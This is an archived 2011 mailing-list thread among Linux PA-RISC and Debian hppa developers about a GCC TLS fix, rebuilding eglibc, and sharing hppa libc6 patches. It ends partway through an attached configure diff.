Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 30 17:13:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKY0f-0003dG-EZ
	for glpp-linux-parisc@lo.gmane.org; Sun, 30 Oct 2011 17:13:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934188Ab1J3QNT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Oct 2011 12:13:19 -0400
Original-Received: from blu0-omc3-s25.blu0.hotmail.com ([65.55.116.100]:36841 "EHLO
	blu0-omc3-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933439Ab1J3QNS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Oct 2011 12:13:18 -0400
Original-Received: from BLU0-SMTP81 ([65.55.116.73]) by blu0-omc3-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 09:13:17 -0700
X-Originating-IP: [70.26.34.70]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.70]) by BLU0-SMTP81.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 09:13:16 -0700
In-Reply-To: <2746859.nK5NlKbf2R@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 30 Oct 2011 16:13:16.0883 (UTC) FILETIME=[D5367230:01CC971E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4015>

On 30-Oct-11, at 11:31 AM, Rolf Eike Beer wrote:

> John David Anglin wrote:
>
>> This problem is fixed in the GCC trunk and 4.4, 4.5 and 4.6 branches.
>> libmpfr4-3.1.0 now passes all tests.
>
> Can we get a link to a bug or a commit so we could easily put this  
> into the
> gentoo patchset for local usage until a new version is released?


The trunk patch is on the gcc-patches list:
http://gcc.gnu.org/ml/gcc-patches/2011-10/msg02758.html

There are two variants of the patch:
http://gcc.gnu.org/viewcvs?view=revision&revision=180655
http://gcc.gnu.org/viewcvs?view=revision&revision=180662

The first is for 4.7.  The latter applies to 4.4, 4.5 and 4.6.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 30 Oct 2011 20:21:31 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
	<BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
	<2746859.nK5NlKbf2R@donald.sf-tec.de>
	<BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1320020498 7084 80.91.229.12 (31 Oct 2011 00:21:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2011 00:21:38 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 31 01:21:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKfd7-0007FF-RD
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Oct 2011 01:21:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753267Ab1JaAVc convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Oct 2011 20:21:32 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:55126 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753143Ab1JaAVc convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Oct 2011 20:21:32 -0400
Original-Received: by ywf7 with SMTP id 7so526451ywf.19
        for <linux-parisc@vger.kernel.org>; Sun, 30 Oct 2011 17:21:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=CDYy65vfYb2aEXSi2djCQGKHttVJsFD/bkmkQ37JrPE=;
        b=VS0kpkIppPN0DcCOxt6q/3hd6WNjPm/YPTZ2QcJffgtQdCrv8phG9KYJTCpiLfshCp
         g80n/edAhZ9fRxxUyNTHkc95cXicYYQFUbvgSBBFneRjtZDUqXu8r216demcHjxlZbg/
         x6f6XkQltzFww4+zu0jHx5OPqlpW60t8NHzJ4=
Original-Received: by 10.101.197.3 with SMTP id z3mr2171544anp.136.1320020491395; Sun,
 30 Oct 2011 17:21:31 -0700 (PDT)
Original-Received: by 10.100.209.10 with HTTP; Sun, 30 Oct 2011 17:21:31 -0700 (PDT)
In-Reply-To: <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
X-Google-Sender-Auth: QYrAT9u1eUeWsUqUWMAySgR6EcI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4016>

On Sun, Oct 30, 2011 at 12:13 PM, John David Anglin
<dave.anglin@bell.net> wrote:
> On 30-Oct-11, at 11:31 AM, Rolf Eike Beer wrote:
>
>> John David Anglin wrote:
>>
>>> This problem is fixed in the GCC trunk and 4.4, 4.5 and 4.6 branche=
s.
>>> libmpfr4-3.1.0 now passes all tests.
>>
>> Can we get a link to a bug or a commit so we could easily put this i=
nto
>> the
>> gentoo patchset for local usage until a new version is released?
>
>
> The trunk patch is on the gcc-patches list:
> http://gcc.gnu.org/ml/gcc-patches/2011-10/msg02758.html
>
> There are two variants of the patch:
> http://gcc.gnu.org/viewcvs?view=3Drevision&revision=3D180655
> http://gcc.gnu.org/viewcvs?view=3Drevision&revision=3D180662
>
> The first is for 4.7. =A0The latter applies to 4.4, 4.5 and 4.6.

Awesome! Great work Dave! :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 30 Oct 2011 21:36:05 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de> <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl> <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1320024995 29753 80.91.229.12 (31 Oct 2011 01:36:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2011 01:36:35 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 31 02:36:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKgnZ-0008JZ-QH
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Oct 2011 02:36:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753432Ab1JaBgY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Oct 2011 21:36:24 -0400
Original-Received: from blu0-omc3-s22.blu0.hotmail.com ([65.55.116.97]:19927 "EHLO
	blu0-omc3-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753422Ab1JaBgY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Oct 2011 21:36:24 -0400
Original-Received: from BLU0-SMTP39 ([65.55.116.74]) by blu0-omc3-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 18:36:23 -0700
X-Originating-IP: [70.26.34.70]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.70]) by BLU0-SMTP39.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 18:36:22 -0700
In-Reply-To: <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Oct 2011 01:36:22.0647 (UTC) FILETIME=[7F18E870:01CC976D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4017>

On 30-Oct-11, at 8:21 PM, Carlos O'Donell wrote:

> On Sun, Oct 30, 2011 at 12:13 PM, John David Anglin
> <dave.anglin@bell.net> wrote:
>> On 30-Oct-11, at 11:31 AM, Rolf Eike Beer wrote:
>>
>>> John David Anglin wrote:
>>>
>>>> This problem is fixed in the GCC trunk and 4.4, 4.5 and 4.6  
>>>> branches.
>>>> libmpfr4-3.1.0 now passes all tests.
>>>
>>> Can we get a link to a bug or a commit so we could easily put this  
>>> into
>>> the
>>> gentoo patchset for local usage until a new version is released?
>>
>>
>> The trunk patch is on the gcc-patches list:
>> http://gcc.gnu.org/ml/gcc-patches/2011-10/msg02758.html
>>
>> There are two variants of the patch:
>> http://gcc.gnu.org/viewcvs?view=revision&revision=180655
>> http://gcc.gnu.org/viewcvs?view=revision&revision=180662
>>
>> The first is for 4.7.  The latter applies to 4.4, 4.5 and 4.6.
>
> Awesome! Great work Dave! :-)

Thanks, but this fix wasn't that hard...  I had a little trouble with  
the testing
due to other issues.  Many GCC bugs are much harder.  Things are easy
when the compilation bug is clear.

I integrated Guy's patch into debian 2.13-10 today and I was going to do
a build, but then I discovered it builds using 4.4.  So, I patched 4.4  
with the
above change, and will rebuild 2.13 when it's done.  Hopefully, this  
will
fix the udev bug which is blocking many python builds.  I'm interested  
to
see if the glibc testsuite results will be better.

It's a bit unclear how extensively TLS variables are used, but maybe  
fixing
this will make it easier to resolve the remaining pthread bugs.

I've been wondering how much is left to install to glibc head?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 31 Oct 2011 10:41:10 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20111031094110.GA29821@glitch>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
 <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
 <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
 <2746859.nK5NlKbf2R@donald.sf-tec.de>
 <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
 <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
 <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1320054085 16593 80.91.229.12 (31 Oct 2011 09:41:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2011 09:41:25 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 31 10:41:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKoMp-0004bh-TD
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Oct 2011 10:41:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932508Ab1JaJlS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Oct 2011 05:41:18 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:47717 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932359Ab1JaJlS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Oct 2011 05:41:18 -0400
Original-Received: by eye27 with SMTP id 27so5115977eye.19
        for <linux-parisc@vger.kernel.org>; Mon, 31 Oct 2011 02:41:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=QiGfNb8D8loaqLJSvS+V2TnUIMvEBheF785WtjtJAB0=;
        b=l8vv+/VfjsSlbqId4MQ4bzWMEapkwNJohYop8hVhNH6aK8C7/80oRa09tpv2wGE9G9
         ISxgVh7Yzc9r3EIfxAG/ayOjA3RP7XoCWF/Y3inaJAb3CdkWinlY3eIdU2so40M5wVOS
         LYNmN/iaYynUkODpOKDTOeMwsjofaVrCsxs3s=
Original-Received: by 10.14.5.202 with SMTP id 50mr1109216eel.111.1320054077090;
        Mon, 31 Oct 2011 02:41:17 -0700 (PDT)
Original-Received: from glitch (178-85-163-250.dynamic.upc.nl. [178.85.163.250])
        by mx.google.com with ESMTPS id 49sm49395384eec.1.2011.10.31.02.41.12
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 31 Oct 2011 02:41:15 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 89F39BA0FD8; Mon, 31 Oct 2011 10:41:10 +0100 (CET)
Mail-Followup-To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4018 gmane.linux.debian.ports.hppa:6736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4018>

On Sun, Oct 30, 2011 at 09:36:05PM -0400, John David Anglin wrote:
> 
> I integrated Guy's patch into debian 2.13-10 today and I was going to do
> a build, but then I discovered it builds using 4.4.  So, I patched
> 4.4 with the
> above change, and will rebuild 2.13 when it's done.  Hopefully, this
> will
> fix the udev bug which is blocking many python builds.  I'm
> interested to
> see if the glibc testsuite results will be better.

I would like to redo the exercise on my j5600, are you building Debian
packages? Could you please share the sources? Thank you.

Regards,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 31 Oct 2011 08:28:39 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <BLU0-SMTP41E73229A818AEAF56F0C097D60@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de> <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl> <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com> <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl> <20111031094110.GA29821@glitch>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1320064147 20029 80.91.229.12 (31 Oct 2011 12:29:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2011 12:29:07 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	<debian-hppa@lists.debian.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 31 13:28:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKqz4-0006Nb-Ns
	for glpp-linux-parisc@lo.gmane.org; Mon, 31 Oct 2011 13:28:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934429Ab1JaM26 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Oct 2011 08:28:58 -0400
Original-Received: from blu0-omc3-s38.blu0.hotmail.com ([65.55.116.113]:44459 "EHLO
	blu0-omc3-s38.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932848Ab1JaM25 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Oct 2011 08:28:57 -0400
Original-Received: from BLU0-SMTP41 ([65.55.116.72]) by blu0-omc3-s38.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Oct 2011 05:28:57 -0700
X-Originating-IP: [70.26.34.70]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.70]) by BLU0-SMTP41.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Oct 2011 05:28:56 -0700
In-Reply-To: <20111031094110.GA29821@glitch>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Oct 2011 12:28:56.0559 (UTC) FILETIME=[A8A5BFF0:01CC97C8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4019 gmane.linux.debian.ports.hppa:6737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4019>

On 31-Oct-11, at 5:41 AM, Domenico Andreoli wrote:

> On Sun, Oct 30, 2011 at 09:36:05PM -0400, John David Anglin wrote:
>>
>> I integrated Guy's patch into debian 2.13-10 today and I was going  
>> to do
>> a build, but then I discovered it builds using 4.4.  So, I patched
>> 4.4 with the
>> above change, and will rebuild 2.13 when it's done.  Hopefully, this
>> will
>> fix the udev bug which is blocking many python builds.  I'm
>> interested to
>> see if the glibc testsuite results will be better.
>
> I would like to redo the exercise on my j5600, are you building Debian
> packages? Could you please share the sources? Thank you.

I am building Debian unstable source packages.  I am close to catching
up the areas that I use.

Except for the recent GCC TLS fix and three eglibc packages, I have been
using unmodified upstream stream sources.  I may have hacked one or two,
but the change was obvious.

There were instructions posted on debian-hppa a few months ago on
adding debian-ports to your sources list file.

  I don't generally retain the debian source files due to limited disk  
space.
What I could make available is my .deb files.

I will post the eglibc patches when I confirm that the latest update  
fixes
the udev bug.  I also need to rebuild perl and check its status.  Moving
to the current eglibc version may break old versions of perl.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 31 Oct 2011 19:26:56 -0400
Lines: 1240
Approved: news@gmane.org
Message-ID: <BLU0-SMTP23C76900AA581465CC639797D60@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de> <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl> <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com> <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl> <20111031094110.GA29821@glitch>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-6-346516678"
X-Trace: dough.gmane.org 1320103642 11190 80.91.229.12 (31 Oct 2011 23:27:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 31 Oct 2011 23:27:22 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	<debian-hppa@lists.debian.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 00:27:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RL1G8-0004N1-Dc
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Nov 2011 00:27:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751618Ab1JaX1P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Oct 2011 19:27:15 -0400
Original-Received: from blu0-omc3-s25.blu0.hotmail.com ([65.55.116.100]:54894 "EHLO
	blu0-omc3-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751429Ab1JaX1P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Oct 2011 19:27:15 -0400
Original-Received: from BLU0-SMTP23 ([65.55.116.74]) by blu0-omc3-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Oct 2011 16:27:14 -0700
X-Originating-IP: [70.26.34.70]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.70]) by BLU0-SMTP23.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Oct 2011 16:27:13 -0700
In-Reply-To: <20111031094110.GA29821@glitch>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Oct 2011 23:27:13.0814 (UTC) FILETIME=[9ED89360:01CC9824]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4020 gmane.linux.debian.ports.hppa:6738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4020>

--Apple-Mail-6-346516678
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 31-Oct-11, at 5:41 AM, Domenico Andreoli wrote:

> I would like to redo the exercise on my j5600, are you building Debian
> packages? Could you please share the sources? Thank you.

Attached are the hppa libc6 patches that I'm using.  The local-stack- 
grows-up.diff patch needs
to be removed first, then the patches applied in order of date using  
quilt.

The last change resolves the udev bug.

I will send you offline the eglibc_2.13-10.dsc  and the  
eglibc_2.13-10.diff.gz.  The
eglibc_2.13.orig.tar.gz file should still be available.

Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-6-346516678
Content-Disposition: attachment; filename="ports-2011-08-31.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-08-31.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/ChangeLog.hppa
===================================================================
--- eglibc-2.13.orig/ports/ChangeLog.hppa	2011-09-04 14:13:02.000000000 -0400
+++ eglibc-2.13/ports/ChangeLog.hppa	2011-09-04 14:20:23.000000000 -0400
@@ -1,3 +1,8 @@
+2010-10-29  Carlos O'Donell  <carlos@codesourcery.com>
+
+	* sysdeps/hppa/dl-machine.h: Update copyright year.
+	(ELF_MACHINE_BEFORE_RTLD_RELOC): Call _dl_fptr_init.
+
 2010-06-24  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S: Only create stack 
Index: eglibc-2.13/ports/sysdeps/hppa/configure
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/configure	2011-09-04 14:13:32.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/configure	2011-09-04 14:34:35.000000000 -0400
@@ -1,19 +1,101 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
+  return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
